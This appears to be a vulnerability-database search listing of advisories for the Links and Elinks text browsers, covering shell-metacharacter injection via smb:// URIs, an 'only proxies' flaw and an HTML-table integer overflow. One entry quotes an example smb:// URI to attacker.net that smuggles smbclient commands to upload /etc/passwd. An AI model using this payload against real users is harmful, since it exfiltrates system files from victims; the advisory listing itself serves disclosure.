9 matches found
SUSE CVE-2006-5925
Links web browser 1.00pre12 and Elinks 0.9.2 with smbclient installed allows remote attackers to execute arbitrary code via shell metacharacters in an smb:// URI, as demonstrated by using PUT and GET statements...
CVE-2008-3329
Unspecified vulnerability in Links before 2.1, when "only proxies" is enabled, has unknown impact and attack vectors related to providing "URLs to external programs."...
UBUNTU-CVE-2013-6050
Integer overflow in Links before 2.8 allows remote attackers to cause a denial of service crash via crafted HTML tables...
links browser integer overflow
Integer overflow on HTML tables parsing...
Links 'only proxies'存在未明安全漏洞
BUGTRAQ ID: 30422 CVE ID:CVE-2008-3329 CNCVE ID:CNCVE-20083329 Links是一款基于文本的支持HTML和帧的浏览器。 Links "only proxies"功能存在未明安全问题,远程攻击者可以利用漏洞传递恶意URL给外部程序。 目前没有详细漏洞细节提供。 Slackware Linux 12.1 Slackware Linux 12.0 Slackware Linux 11.0 Slackware Linux -current Links Links 2.1pre25 Links Links 2.1 pre26 Links...
security flaw
Links web browser 1.00pre12 and Elinks 0.9.2 with smbclient installed allows remote attackers to execute arbitrary code via shell metacharacters in an smb:// URI, as demonstrated by using PUT and GET statements...
CVE-2006-5925
Links web browser 1.00pre12 and Elinks 0.9.2 with smbclient installed allows remote attackers to execute arbitrary code via shell metacharacters in an smb:// URI, as demonstrated by using PUT and GET statements...
links browser shell characters vulnerability
Shell characters problem on external smbclient execution with URLs like 'smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '...
Links 1.00pre12 - 'smbclient' Remote Code Execution
!-- Links smbclient command execution ----------------------------------------------------------------------------- There is a flaw in the Links web browser, that allows malicious web sites to execute smbclient commands on the victim's machine. This flaw makes it possible to read any file from th...